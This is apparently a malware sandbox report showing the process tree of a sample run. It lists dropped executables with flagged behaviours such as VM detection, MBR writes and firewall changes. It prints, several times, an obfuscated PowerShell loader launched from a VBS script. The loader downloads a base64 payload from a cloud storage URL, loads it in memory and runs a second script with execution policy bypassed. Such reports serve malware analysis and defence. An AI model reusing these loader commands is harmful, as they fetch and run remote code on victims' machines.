C:\Users\Admin\AppData\Local\Temp\a\fo-wsftp605.exefo-wsftp605.exe4⤵
- Executes dropped EXE
-
-
C:\Users\Admin\AppData\Local\Temp\a\cheat.execheat.exe4⤵
- Enumerates VirtualBox registry keys
- Looks for VirtualBox Guest Additions in registry
- Looks for VMWare Tools registry key
- Looks for VMWare services registry key.
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Users\Admin\AppData\Local\Temp\a\37cqsj.exe37cqsj.exe4⤵
- Executes dropped EXE
- Loads dropped DLL
- System Location Discovery: System Language Discovery
-
C:\Users\Admin\AppData\Roaming\cqsj\cqsj.exe"C:\Users\Admin\AppData\Roaming\cqsj\cqsj.exe" /setupsucc5⤵
- Loads dropped DLL
- Writes to the Master Boot Record (MBR)
-
-
-
C:\Users\Admin\AppData\Local\Temp\a\Va4iu4b.exeVa4iu4b.exe4⤵
- Executes dropped EXE
-
-
C:\Windows\SYSTEM32\wscript.exewscript.exe andre.vbs4⤵
- Checks computer location settings
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" $RqWSSdfd = 'W1N5c3RlbS5OZXQuU2VydmljZVBvaW50TWFuYWdlcl06OlNlY3VyaXR5UHJvdG9jb2wgPSBbU3lzdGVtLk5ldC5TZWN1cml0eVByb3RvY29sVHlwZV06OlRsczEyOyR6RkthQS☹9ICdodHRwczovL2ZpcmViYXNlc3RvcmFnZS5nb29nbGVhcGlzLmNvbS92MC9iL2xvbG9lcjM0MzQuZmlyZWJhc2VzdG9yYWdlLmFwcC9vL0NJRlJBRE8lMjBGRkYzMzMzJTJGUk9EQSUyMFVQRFRBVEVTJTIwMjclMjBPQ1RPQkVSJTJGUk9EQT☹1Tk9WSUVNQlJFJTJGc2t5ZGxsLnR4dD9hbHQ9bWVkaWEmdG9rZW49NGJkYmM1M2EtNmNjNS00ZT☹wLTgyNDctZmQ5ODk0ZDZhMzJmJy☹7JFB4UHl0ID0gKCBbU3lzdGVtLklPLlBhdGhdOjpHZXRUZW1wUGF0aCgpICsgJ0dPQWFwLnR4dCcpOyR3ZWJDbGllbnQgPSBOZXctT2JqZWN0IFN5c3RlbS5OZXQuV2ViQ2xpZW50IDskTFdoQWMgPS☹kd2ViQ2xpZW50LkRvd25sb2FkU3RyaW5nKC☹kekZLYUEgKS☹7JExXaEFjIHwgT3V0LUZpbGUgLUZpbGVQYXRoICRQeFB5dC☹tRW5jb2RpbmcgJ1VURjgnIC1mb3JjZS☹7JFNUZkdsID0gKCBbU3lzdGVtLklPLlBhdGhdOjpHZXRUZW1wUGF0aCgpICsgJ0dPQWFwLnR4dCcpIDskRFFkUFUgPS☹nTG9hZCcgOyRmbm1TTC☹9ICdJbnZva2UnOyRQYW5CTi☹9ICRudWxsOyRJcUhxUS☹9IC☹nOyR4ID0gKEpvaW4tUGF0aC☹kZW52OlRFTV☹gJydHT0FhcC50eHQnJyk7JHJ5YWVHID0gKEdldC1Db250ZW50IC1QYXRoICR4IC1FbmNvZGluZyBVVEY4KTskcnlhZUcgPS☹kcnlhZUcucmVwbGFjZSgnJyQkJycsICcnQScnKTsnIDskSXFIcVEgKz0gJ1tCeXRlW11dICRrWFRmaS☹9IFtzeXN0ZW0uQ29udmVydF06OkZyb21CYXNlNjRTdHJpbmcoICRyeWFlRy☹pIDsnIDskSXFIcVEgKz0gJ1tTeXN0ZW0uQXBwRG9tYWluXTonICsgJzpDdXJyZW50RG9tYWluLicgKy☹kRFFkUFUgKy☹nKC☹ka1hUZmkgKS4nIDskSXFIcVEgKz0gJ0dldFR5cGUoICcnQ2xhc3NMaWJyYXJ5My5DbGFzczEnJy☹pLkdldE0nIDskSXFIcVEgKz0gJ2V0aG9kKC☹nJ01zcUJJYlknJy☹pLicgKy☹kZm5tU0wgKy☹nKC☹kUGFuQk4gLCBbb2JqZWN0W11dICggKC☹nJ05nQm1BREFBWXdCa0FEUUFPUUJrQURrQU5BQTJBR0VBTFFBNUFEVUFaQUE0QUMwQVl3QTVBR0lBTkFBdEFEY0FaUUJtQUdNQUxRQXhBRFlBTXdCaEFETUFOd0E0QURRQVBRQnVBR1VBYXdCdkFIUUFKZ0JoQUdrQVpBQmxBRzBBUFFCMEFHd0FZUUEvQUhRQWVBQjBBQzRBTWdBeEFEUUFNQUJ6QUc4QVV3QXZBRzhBTHdCdEFHOEFZd0F1QUhRQWJ3QndBSE1BY0FCd0FHRUFMZ0E0QUdJQVlRQTJBRElBTFFCekFISUFaUUIwQUhBQWVRQnlBR01BTHdCaUFDOEFNQUIyQUM4QWJRQnZBR01BTGdCekFHa0FjQUJoQUdVQWJBQm5BRzhBYndCbkFDNEFaUUJuQUdFQWNnQnZBSFFBY3dCbEFITUFZUUJpQUdVQWNnQnBBR1lBTHdBdkFEb0Fjd0J3QUhRQWRBQm9BQT09JycgKS☹sICcnJU9GQUNPeSUnJy☹sICcnX19fX19fX19fX19fX19fX19fX19fX19fX19fX19fX19fX19fX19fX19fX18tLS0tLS0tJycsICcnMCcnLC☹nJzEnJywgJydSb2RhJycgICkgKS☹7Jy☹7JFZCV1d6ID0gKCBbU3lzdGVtLklPLlBhdGhdOjpHZXRUZW1wUGF0aCgpICsgJ0R2VmJzLnBzMScgKS☹7JElxSHFRIHwgT3V0LUZpbGUgLUZpbGVQYXRoICRWQldXei☹gLWZvcmNlIDtwb3dlcnNoZWxsIC1FeGVjdXRpb25Qb2xpY3kgQnlwYXNzIC1GaWxlICRWQldXei☹7';$lvFxTsk = [system.Text.Encoding]::UTF8.GetString( [system.Convert]::FromBase64String( ($RqWSSdfd -replace '☹','A') ) );$lvFxTsk = ($lvFxTsk -replace '%OFACOy%', 'C:$Users$Admin$AppData$Local$Temp$a$andre.vbs');powershell $lvFxTsk;5⤵
- Command and Scripting Interpreter: PowerShell
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" "[System.Net.ServicePointManager]::SecurityProtocol = [System.Net.SecurityProtocolType]::Tls12;$zFKaA = 'https://firebasestorage.googleapis.com/v0/b/loloer3434.firebasestorage.app/o/CIFRADO%20FFF3333%2FRODA%20UPDTATES%2027%20OCTOBER%2FRODA05NOVIEMBRE%2Fskydll.txt?alt=media&token=4bdbc53a-6cc5-4e00-8247-fd9894d6a32f' ;$PxPyt = ( [System.IO.Path]::GetTempPath() + 'GOAap.txt');$webClient = New-Object System.Net.WebClient ;$LWhAc = $webClient.DownloadString( $zFKaA ) ;$LWhAc | Out-File -FilePath $PxPyt -Encoding 'UTF8' -force ;$STfGl = ( [System.IO.Path]::GetTempPath() + 'GOAap.txt') ;$DQdPU = 'Load' ;$fnmSL = 'Invoke';$PanBN = $null;$IqHqQ = ';$x = (Join-Path $env:TEMP ''GOAap.txt'');$ryaeG = (Get-Content -Path $x -Encoding UTF8);$ryaeG = $ryaeG.replace(''$$'', ''A'');' ;$IqHqQ += '[Byte[]] $kXTfi = [system.Convert]::FromBase64String( $ryaeG ) ;' ;$IqHqQ += '[System.AppDomain]:' + ':CurrentDomain.' + $DQdPU + '( $kXTfi ).' ;$IqHqQ += 'GetType( ''ClassLibrary3.Class1'' ).GetM' ;$IqHqQ += 'ethod( ''MsqBIbY'' ).' + $fnmSL + '( $PanBN , [object[]] ( ( ''NgBmADAAYwBkADQAOQBkADkANAA2AGEALQA5ADUAZAA4AC0AYwA5AGIANAAtADcAZQBmAGMALQAxADYAMwBhADMANwA4ADQAPQBuAGUAawBvAHQAJgBhAGkAZABlAG0APQB0AGwAYQA/AHQAeAB0AC4AMgAxADQAMABzAG8AUwAvAG8ALwBtAG8AYwAuAHQAbwBwAHMAcABwAGEALgA4AGIAYQA2ADIALQBzAHIAZQB0AHAAeQByAGMALwBiAC8AMAB2AC8AbQBvAGMALgBzAGkAcABhAGUAbABnAG8AbwBnAC4AZQBnAGEAcgBvAHQAcwBlAHMAYQBiAGUAcgBpAGYALwAvADoAcwBwAHQAdABoAA=='' ) , ''C:$Users$Admin$AppData$Local$Temp$a$andre.vbs'' , ''____________________________________________-------'', ''0'', ''1'', ''Roda'' ) ) ;' ;$VBWWz = ( [System.IO.Path]::GetTempPath() + 'DvVbs.ps1' ) ;$IqHqQ | Out-File -FilePath $VBWWz -force ;powershell -ExecutionPolicy Bypass -File $VBWWz ;"6⤵
- Command and Scripting Interpreter: PowerShell
-
-
-
-
C:\Users\Admin\AppData\Local\Temp\a\YSdQm5F.exeYSdQm5F.exe4⤵
- Executes dropped EXE
-
-
C:\Users\Admin\AppData\Local\Temp\a\AccountBind.exeAccountBind.exe4⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
- Suspicious use of SetWindowsHookEx
-
C:\Users\Admin\AppData\Local\Temp\mkEEuq.exeC:\Users\Admin\AppData\Local\Temp\mkEEuq.exe5⤵
- Checks computer location settings
- Executes dropped EXE
- Drops file in Program Files directory
- System Location Discovery: System Language Discovery
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\107001f4.bat" "6⤵
- System Location Discovery: System Language Discovery
-
-
-
-
C:\Windows\SYSTEM32\msiexec.exemsiexec.exe /i 12-04-2025.msi4⤵
- Enumerates connected drives
- Event Triggered Execution: Installer Packages
- Suspicious use of FindShellTrayWindow
-
-
C:\Users\Admin\AppData\Local\Temp\a\1UgswWz.exe1UgswWz.exe4⤵
- Executes dropped EXE
-
-
C:\Windows\SYSTEM32\msiexec.exemsiexec.exe /i Receipt_11_26_2025.msi4⤵
- Enumerates connected drives
- Event Triggered Execution: Installer Packages
- Suspicious use of FindShellTrayWindow
-
-
C:\Users\Admin\AppData\Local\Temp\a\64th%20Services.exe64th%20Services.exe4⤵
- Enumerates VirtualBox registry keys
- Looks for VirtualBox Guest Additions in registry
- Looks for VMWare Tools registry key
- Looks for VMWare services registry key.
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Users\Admin\AppData\Local\Temp\a\rhsremotesupportv2.exerhsremotesupportv2.exe4⤵
- Executes dropped EXE
- Modifies registry class
- Suspicious use of SetWindowsHookEx
-
C:\Windows\SysWOW64\netsh.exe"netsh" advfirewall firewall show rule name= RHSRemoteSupportv2 verbose5⤵
- Modifies Windows Firewall
- Event Triggered Execution: Netsh Helper DLL
- System Location Discovery: System Language Discovery
-
-
C:\Users\Admin\AppData\Local\Temp\a\rhsremotesupportv2.exe"C:\Users\Admin\AppData\Local\Temp\a\rhsremotesupportv2.exe" --fw5⤵
- Modifies registry class
-
C:\Windows\SysWOW64\netsh.exe"C:\Windows\System32\netsh.exe" advfirewall firewall add rule name="RHSRemoteSupportv2" dir=in action=allow program="C:\Users\Admin\AppData\Local\Temp\a\rhsremotesupportv2.exe" enable=yes6⤵
- Modifies Windows Firewall
- Event Triggered Execution: Netsh Helper DLL
-
-
-
C:\Windows\SysWOW64\cmd.exe"cmd" /c "taskkill /F /IM RuntimeBroker_hoptodesk.exe"5⤵
-
C:\Windows\SysWOW64\taskkill.exetaskkill /F /IM RuntimeBroker_hoptodesk.exe6⤵
- System Location Discovery: System Language Discovery
- Kills process with taskkill
-
-
-
-
C:\Users\Admin\AppData\Local\Temp\a\hide_exe.exehide_exe.exe4⤵
- Server Software Component: Terminal Services DLL
- Sets service image path in registry
- Checks computer location settings
- Executes dropped EXE
- Drops file in System32 directory
-
C:\Windows\system32\cmd.exe"C:\Windows\system32\cmd.exe" /c del C:\Users\Admin\AppData\Local\Temp\a\hide_exe.exe > nul5⤵
-
-
-
C:\Users\Admin\AppData\Local\Temp\a\6.exe6.exe4⤵
- Executes dropped EXE
-
C:\Users\Admin\AppData\Local\Temp\is-7OW7LYBG8I.tmp\6.tmp"C:\Users\Admin\AppData\Local\Temp\is-7OW7LYBG8I.tmp\6.tmp" /SL5="$10460,3902226,836608,C:\Users\Admin\AppData\Local\Temp\a\6.exe"5⤵
- Checks computer location settings
- System Location Discovery: System Language Discovery
-
C:\Users\Admin\AppData\Local\Temp\a\6.exe"C:\Users\Admin\AppData\Local\Temp\a\6.exe" /VERYSILENT /PASSWORD=6fff13a7-7f85-452a-9e6b-49b7a76494d26⤵
- System Location Discovery: System Language Discovery
-
-
-
-
C:\Users\Admin\AppData\Local\Temp\a\Barchart.exeBarchart.exe4⤵
- Executes dropped EXE
-
C:\Users\Admin\AppData\Local\Temp\is-BMQ8HF1KGY.tmp\Barchart.tmp"C:\Users\Admin\AppData\Local\Temp\is-BMQ8HF1KGY.tmp\Barchart.tmp" /SL5="$1045E,3482063,893440,C:\Users\Admin\AppData\Local\Temp\a\Barchart.exe"5⤵
- Checks computer location settings
- Loads dropped DLL
- System Location Discovery: System Language Discovery
-
C:\Users\Admin\AppData\Local\Temp\a\Barchart.exe"C:\Users\Admin\AppData\Local\Temp\a\Barchart.exe" /VERYSILENT /PASSWORD=efecbce3-8f70-4556-a1fc-09d93c397be06⤵
- System Location Discovery: System Language Discovery
-
-
-
-
C:\Windows\SYSTEM32\wscript.exewscript.exe andre.vbs4⤵
- Checks computer location settings
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" $RqWSSdfd = 'W1N5c3RlbS5OZXQuU2VydmljZVBvaW50TWFuYWdlcl06OlNlY3VyaXR5UHJvdG9jb2wgPSBbU3lzdGVtLk5ldC5TZWN1cml0eVByb3RvY29sVHlwZV06OlRsczEyOyR6RkthQS☹9ICdodHRwczovL2ZpcmViYXNlc3RvcmFnZS5nb29nbGVhcGlzLmNvbS92MC9iL2xvbG9lcjM0MzQuZmlyZWJhc2VzdG9yYWdlLmFwcC9vL0NJRlJBRE8lMjBGRkYzMzMzJTJGUk9EQSUyMFVQRFRBVEVTJTIwMjclMjBPQ1RPQkVSJTJGUk9EQT☹1Tk9WSUVNQlJFJTJGc2t5ZGxsLnR4dD9hbHQ9bWVkaWEmdG9rZW49NGJkYmM1M2EtNmNjNS00ZT☹wLTgyNDctZmQ5ODk0ZDZhMzJmJy☹7JFB4UHl0ID0gKCBbU3lzdGVtLklPLlBhdGhdOjpHZXRUZW1wUGF0aCgpICsgJ0dPQWFwLnR4dCcpOyR3ZWJDbGllbnQgPSBOZXctT2JqZWN0IFN5c3RlbS5OZXQuV2ViQ2xpZW50IDskTFdoQWMgPS☹kd2ViQ2xpZW50LkRvd25sb2FkU3RyaW5nKC☹kekZLYUEgKS☹7JExXaEFjIHwgT3V0LUZpbGUgLUZpbGVQYXRoICRQeFB5dC☹tRW5jb2RpbmcgJ1VURjgnIC1mb3JjZS☹7JFNUZkdsID0gKCBbU3lzdGVtLklPLlBhdGhdOjpHZXRUZW1wUGF0aCgpICsgJ0dPQWFwLnR4dCcpIDskRFFkUFUgPS☹nTG9hZCcgOyRmbm1TTC☹9ICdJbnZva2UnOyRQYW5CTi☹9ICRudWxsOyRJcUhxUS☹9IC☹nOyR4ID0gKEpvaW4tUGF0aC☹kZW52OlRFTV☹gJydHT0FhcC50eHQnJyk7JHJ5YWVHID0gKEdldC1Db250ZW50IC1QYXRoICR4IC1FbmNvZGluZyBVVEY4KTskcnlhZUcgPS☹kcnlhZUcucmVwbGFjZSgnJyQkJycsICcnQScnKTsnIDskSXFIcVEgKz0gJ1tCeXRlW11dICRrWFRmaS☹9IFtzeXN0ZW0uQ29udmVydF06OkZyb21CYXNlNjRTdHJpbmcoICRyeWFlRy☹pIDsnIDskSXFIcVEgKz0gJ1tTeXN0ZW0uQXBwRG9tYWluXTonICsgJzpDdXJyZW50RG9tYWluLicgKy☹kRFFkUFUgKy☹nKC☹ka1hUZmkgKS4nIDskSXFIcVEgKz0gJ0dldFR5cGUoICcnQ2xhc3NMaWJyYXJ5My5DbGFzczEnJy☹pLkdldE0nIDskSXFIcVEgKz0gJ2V0aG9kKC☹nJ01zcUJJYlknJy☹pLicgKy☹kZm5tU0wgKy☹nKC☹kUGFuQk4gLCBbb2JqZWN0W11dICggKC☹nJ05nQm1BREFBWXdCa0FEUUFPUUJrQURrQU5BQTJBR0VBTFFBNUFEVUFaQUE0QUMwQVl3QTVBR0lBTkFBdEFEY0FaUUJtQUdNQUxRQXhBRFlBTXdCaEFETUFOd0E0QURRQVBRQnVBR1VBYXdCdkFIUUFKZ0JoQUdrQVpBQmxBRzBBUFFCMEFHd0FZUUEvQUhRQWVBQjBBQzRBTWdBeEFEUUFNQUJ6QUc4QVV3QXZBRzhBTHdCdEFHOEFZd0F1QUhRQWJ3QndBSE1BY0FCd0FHRUFMZ0E0QUdJQVlRQTJBRElBTFFCekFISUFaUUIwQUhBQWVRQnlBR01BTHdCaUFDOEFNQUIyQUM4QWJRQnZBR01BTGdCekFHa0FjQUJoQUdVQWJBQm5BRzhBYndCbkFDNEFaUUJuQUdFQWNnQnZBSFFBY3dCbEFITUFZUUJpQUdVQWNnQnBBR1lBTHdBdkFEb0Fjd0J3QUhRQWRBQm9BQT09JycgKS☹sICcnJU9GQUNPeSUnJy☹sICcnX19fX19fX19fX19fX19fX19fX19fX19fX19fX19fX19fX19fX19fX19fX18tLS0tLS0tJycsICcnMCcnLC☹nJzEnJywgJydSb2RhJycgICkgKS☹7Jy☹7JFZCV1d6ID0gKCBbU3lzdGVtLklPLlBhdGhdOjpHZXRUZW1wUGF0aCgpICsgJ0R2VmJzLnBzMScgKS☹7JElxSHFRIHwgT3V0LUZpbGUgLUZpbGVQYXRoICRWQldXei☹gLWZvcmNlIDtwb3dlcnNoZWxsIC1FeGVjdXRpb25Qb2xpY3kgQnlwYXNzIC1GaWxlICRWQldXei☹7';$lvFxTsk = [system.Text.Encoding]::UTF8.GetString( [system.Convert]::FromBase64String( ($RqWSSdfd -replace '☹','A') ) );$lvFxTsk = ($lvFxTsk -replace '%OFACOy%', 'C:$Users$Admin$AppData$Local$Temp$a$andre.vbs');powershell $lvFxTsk;5⤵
- Command and Scripting Interpreter: PowerShell
-
-
-
C:\Windows\SYSTEM32\wscript.exewscript.exe andre.vbs4⤵
- Checks computer location settings
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" $RqWSSdfd = 'W1N5c3RlbS5OZXQuU2VydmljZVBvaW50TWFuYWdlcl06OlNlY3VyaXR5UHJvdG9jb2wgPSBbU3lzdGVtLk5ldC5TZWN1cml0eVByb3RvY29sVHlwZV06OlRsczEyOyR6RkthQS☹9ICdodHRwczovL2ZpcmViYXNlc3RvcmFnZS5nb29nbGVhcGlzLmNvbS92MC9iL2xvbG9lcjM0MzQuZmlyZWJhc2VzdG9yYWdlLmFwcC9vL0NJRlJBRE8lMjBGRkYzMzMzJTJGUk9EQSUyMFVQRFRBVEVTJTIwMjclMjBPQ1RPQkVSJTJGUk9EQT☹1Tk9WSUVNQlJFJTJGc2t5ZGxsLnR4dD9hbHQ9bWVkaWEmdG9rZW49NGJkYmM1M2EtNmNjNS00ZT☹wLTgyNDctZmQ5ODk0ZDZhMzJmJy☹7JFB4UHl0ID0gKCBbU3lzdGVtLklPLlBhdGhdOjpHZXRUZW1wUGF0aCgpICsgJ0dPQWFwLnR4dCcpOyR3ZWJDbGllbnQgPSBOZXctT2JqZWN0IFN5c3RlbS5OZXQuV2ViQ2xpZW50IDskTFdoQWMgPS☹kd2ViQ2xpZW50LkRvd25sb2FkU3RyaW5nKC☹kekZLYUEgKS☹7JExXaEFjIHwgT3V0LUZpbGUgLUZpbGVQYXRoICRQeFB5dC☹tRW5jb2RpbmcgJ1VURjgnIC1mb3JjZS☹7JFNUZkdsID0gKCBbU3lzdGVtLklPLlBhdGhdOjpHZXRUZW1wUGF0aCgpICsgJ0dPQWFwLnR4dCcpIDskRFFkUFUgPS☹nTG9hZCcgOyRmbm1TTC☹9ICdJbnZva2UnOyRQYW5CTi☹9ICRudWxsOyRJcUhxUS☹9IC☹nOyR4ID0gKEpvaW4tUGF0aC☹kZW52OlRFTV☹gJydHT0FhcC50eHQnJyk7JHJ5YWVHID0gKEdldC1Db250ZW50IC1QYXRoICR4IC1FbmNvZGluZyBVVEY4KTskcnlhZUcgPS☹kcnlhZUcucmVwbGFjZSgnJyQkJycsICcnQScnKTsnIDskSXFIcVEgKz0gJ1tCeXRlW11dICRrWFRmaS☹9IFtzeXN0ZW0uQ29udmVydF06OkZyb21CYXNlNjRTdHJpbmcoICRyeWFlRy☹pIDsnIDskSXFIcVEgKz0gJ1tTeXN0ZW0uQXBwRG9tYWluXTonICsgJzpDdXJyZW50RG9tYWluLicgKy☹kRFFkUFUgKy☹nKC☹ka1hUZmkgKS4nIDskSXFIcVEgKz0gJ0dldFR5cGUoICcnQ2xhc3NMaWJyYXJ5My5DbGFzczEnJy☹pLkdldE0nIDskSXFIcVEgKz0gJ2V0aG9kKC☹nJ01zcUJJYlknJy☹pLicgKy☹kZm5tU0wgKy☹nKC☹kUGFuQk4gLCBbb2JqZWN0W11dICggKC☹nJ05nQm1BREFBWXdCa0FEUUFPUUJrQURrQU5BQTJBR0VBTFFBNUFEVUFaQUE0QUMwQVl3QTVBR0lBTkFBdEFEY0FaUUJtQUdNQUxRQXhBRFlBTXdCaEFETUFOd0E0QURRQVBRQnVBR1VBYXdCdkFIUUFKZ0JoQUdrQVpBQmxBRzBBUFFCMEFHd0FZUUEvQUhRQWVBQjBBQzRBTWdBeEFEUUFNQUJ6QUc4QVV3QXZBRzhBTHdCdEFHOEFZd0F1QUhRQWJ3QndBSE1BY0FCd0FHRUFMZ0E0QUdJQVlRQTJBRElBTFFCekFISUFaUUIwQUhBQWVRQnlBR01BTHdCaUFDOEFNQUIyQUM4QWJRQnZBR01BTGdCekFHa0FjQUJoQUdVQWJBQm5BRzhBYndCbkFDNEFaUUJuQUdFQWNnQnZBSFFBY3dCbEFITUFZUUJpQUdVQWNnQnBBR1lBTHdBdkFEb0Fjd0J3QUhRQWRBQm9BQT09JycgKS☹sICcnJU9GQUNPeSUnJy☹sICcnX19fX19fX19fX19fX19fX19fX19fX19fX19fX19fX19fX19fX19fX19fX18tLS0tLS0tJycsICcnMCcnLC☹nJzEnJywgJydSb2RhJycgICkgKS☹7Jy☹7JFZCV1d6ID0gKCBbU3lzdGVtLklPLlBhdGhdOjpHZXRUZW1wUGF0aCgpICsgJ0R2VmJzLnBzMScgKS☹7JElxSHFRIHwgT3V0LUZpbGUgLUZpbGVQYXRoICRWQldXei☹gLWZvcmNlIDtwb3dlcnNoZWxsIC1FeGVjdXRpb25Qb2xpY3kgQnlwYXNzIC1GaWxlICRWQldXei☹7';$lvFxTsk = [system.Text.Encoding]::UTF8.GetString( [system.Convert]::FromBase64String( ($RqWSSdfd -replace '☹','A') ) );$lvFxTsk = ($lvFxTsk -replace '%OFACOy%', 'C:$Users$Admin$AppData$Local$Temp$a$andre.vbs');powershell $lvFxTsk;5⤵
- Command and Scripting Interpreter: PowerShell
-
-
-
C:\Users\Admin\AppData\Local\Temp\a\agent.exeagent.exe4⤵
- Executes dropped EXE
-
-
C:\Users\Admin\AppData\Local\Temp\a\C0aADSk.exeC0aADSk.exe4⤵
- Executes dropped EXE
-
C:\Users\Admin\AppData\Local\Temp\is-GG7UQ.tmp\C0aADSk.tmp"C:\Users\Admin\AppData\Local\Temp\is-GG7UQ.tmp\C0aADSk.tmp" /SL5="$1045C,3628072,56832,C:\Users\Admin\AppData\Local\Temp\a\C0aADSk.exe"5⤵
- Loads dropped DLL
- System Location Discovery: System Language Discovery
- Suspicious use of FindShellTrayWindow
-
C:\Users\Admin\AppData\Local\Fast Audio Converter 9.9.29.4221\fastaudioconverter4221.exe"C:\Users\Admin\AppData\Local\Fast Audio Converter 9.9.29.4221\fastaudioconverter4221.exe" -i6⤵
- System Location Discovery: System Language Discovery
-
-
-
-
C:\Users\Admin\AppData\Local\Temp\a\which_browser-0.2.3+41-windows-setup.exewhich_browser-0.2.3+41-windows-setup.exe4⤵
- System Location Discovery: System Language Discovery
-
C:\Users\Admin\AppData\Local\Temp\is-SF77K.tmp\which_browser-0.2.3+41-windows-setup.tmp"C:\Users\Admin\AppData\Local\Temp\is-SF77K.tmp\which_browser-0.2.3+41-windows-setup.tmp" /SL5="$1049A,12476209,882176,C:\Users\Admin\AppData\Local\Temp\a\which_browser-0.2.3+41-windows-setup.exe"5⤵
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 4272 -s 7726⤵
- Program crash
-
-
-
-
C:\Users\Admin\AppData\Local\Temp\a\high-level_7632.80.4076_INSTALL.exehigh-level_7632.80.4076_INSTALL.exe4⤵
-
C:\Users\Admin\AppData\Local\Temp\is-F8GSI.tmp\high-level_7632.80.4076_INSTALL.tmp"C:\Users\Admin\AppData\Local\Temp\is-F8GSI.tmp\high-level_7632.80.4076_INSTALL.tmp" /SL5="$104A2,3576504,996352,C:\Users\Admin\AppData\Local\Temp\a\high-level_7632.80.4076_INSTALL.exe"5⤵
- Checks computer location settings
-
C:\Users\Admin\AppData\Local\Temp\a\high-level_7632.80.4076_INSTALL.exe"C:\Users\Admin\AppData\Local\Temp\a\high-level_7632.80.4076_INSTALL.exe" /VERYSILENT /PASSWORD=7950e3f2-0cc9-4e71-87e7-d4659ad06bed6⤵
- System Location Discovery: System Language Discovery
-
-
-
-
C:\Windows\SYSTEM32\wscript.exewscript.exe andre.vbs4⤵
- Checks computer location settings
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" $RqWSSdfd = 'W1N5c3RlbS5OZXQuU2VydmljZVBvaW50TWFuYWdlcl06OlNlY3VyaXR5UHJvdG9jb2wgPSBbU3lzdGVtLk5ldC5TZWN1cml0eVByb3RvY29sVHlwZV06OlRsczEyOyR6RkthQS☹9ICdodHRwczovL2ZpcmViYXNlc3RvcmFnZS5nb29nbGVhcGlzLmNvbS92MC9iL2xvbG9lcjM0MzQuZmlyZWJhc2VzdG9yYWdlLmFwcC9vL0NJRlJBRE8lMjBGRkYzMzMzJTJGUk9EQSUyMFVQRFRBVEVTJTIwMjclMjBPQ1RPQkVSJTJGUk9EQT☹1Tk9WSUVNQlJFJTJGc2t5ZGxsLnR4dD9hbHQ9bWVkaWEmdG9rZW49NGJkYmM1M2EtNmNjNS00ZT☹wLTgyNDctZmQ5ODk0ZDZhMzJmJy☹7JFB4UHl0ID0gKCBbU3lzdGVtLklPLlBhdGhdOjpHZXRUZW1wUGF0aCgpICsgJ0dPQWFwLnR4dCcpOyR3ZWJDbGllbnQgPSBOZXctT2JqZWN0IFN5c3RlbS5OZXQuV2ViQ2xpZW50IDskTFdoQWMgPS☹kd2ViQ2xpZW50LkRvd25sb2FkU3RyaW5nKC☹kekZLYUEgKS☹7JExXaEFjIHwgT3V0LUZpbGUgLUZpbGVQYXRoICRQeFB5dC☹tRW5jb2RpbmcgJ1VURjgnIC1mb3JjZS☹7JFNUZkdsID0gKCBbU3lzdGVtLklPLlBhdGhdOjpHZXRUZW1wUGF0aCgpICsgJ0dPQWFwLnR4dCcpIDskRFFkUFUgPS☹nTG9hZCcgOyRmbm1TTC☹9ICdJbnZva2UnOyRQYW5CTi☹9ICRudWxsOyRJcUhxUS☹9IC☹nOyR4ID0gKEpvaW4tUGF0aC☹kZW52OlRFTV☹gJydHT0FhcC50eHQnJyk7JHJ5YWVHID0gKEdldC1Db250ZW50IC1QYXRoICR4IC1FbmNvZGluZyBVVEY4KTskcnlhZUcgPS☹kcnlhZUcucmVwbGFjZSgnJyQkJycsICcnQScnKTsnIDskSXFIcVEgKz0gJ1tCeXRlW11dICRrWFRmaS☹9IFtzeXN0ZW0uQ29udmVydF06OkZyb21CYXNlNjRTdHJpbmcoICRyeWFlRy☹pIDsnIDskSXFIcVEgKz0gJ1tTeXN0ZW0uQXBwRG9tYWluXTonICsgJzpDdXJyZW50RG9tYWluLicgKy☹kRFFkUFUgKy☹nKC☹ka1hUZmkgKS4nIDskSXFIcVEgKz0gJ0dldFR5cGUoICcnQ2xhc3NMaWJyYXJ5My5DbGFzczEnJy☹pLkdldE0nIDskSXFIcVEgKz0gJ2V0aG9kKC☹nJ01zcUJJYlknJy☹pLicgKy☹kZm5tU0wgKy☹nKC☹kUGFuQk4gLCBbb2JqZWN0W11dICggKC☹nJ05nQm1BREFBWXdCa0FEUUFPUUJrQURrQU5BQTJBR0VBTFFBNUFEVUFaQUE0QUMwQVl3QTVBR0lBTkFBdEFEY0FaUUJtQUdNQUxRQXhBRFlBTXdCaEFETUFOd0E0QURRQVBRQnVBR1VBYXdCdkFIUUFKZ0JoQUdrQVpBQmxBRzBBUFFCMEFHd0FZUUEvQUhRQWVBQjBBQzRBTWdBeEFEUUFNQUJ6QUc4QVV3QXZBRzhBTHdCdEFHOEFZd0F1QUhRQWJ3QndBSE1BY0FCd0FHRUFMZ0E0QUdJQVlRQTJBRElBTFFCekFISUFaUUIwQUhBQWVRQnlBR01BTHdCaUFDOEFNQUIyQUM4QWJRQnZBR01BTGdCekFHa0FjQUJoQUdVQWJBQm5BRzhBYndCbkFDNEFaUUJuQUdFQWNnQnZBSFFBY3dCbEFITUFZUUJpQUdVQWNnQnBBR1lBTHdBdkFEb0Fjd0J3QUhRQWRBQm9BQT09JycgKS☹sICcnJU9GQUNPeSUnJy☹sICcnX19fX19fX19fX19fX19fX19fX19fX19fX19fX19fX19fX19fX19fX19fX18tLS0tLS0tJycsICcnMCcnLC☹nJzEnJywgJydSb2RhJycgICkgKS☹7Jy☹7JFZCV1d6ID0gKCBbU3lzdGVtLklPLlBhdGhdOjpHZXRUZW1wUGF0aCgpICsgJ0R2VmJzLnBzMScgKS☹7JElxSHFRIHwgT3V0LUZpbGUgLUZ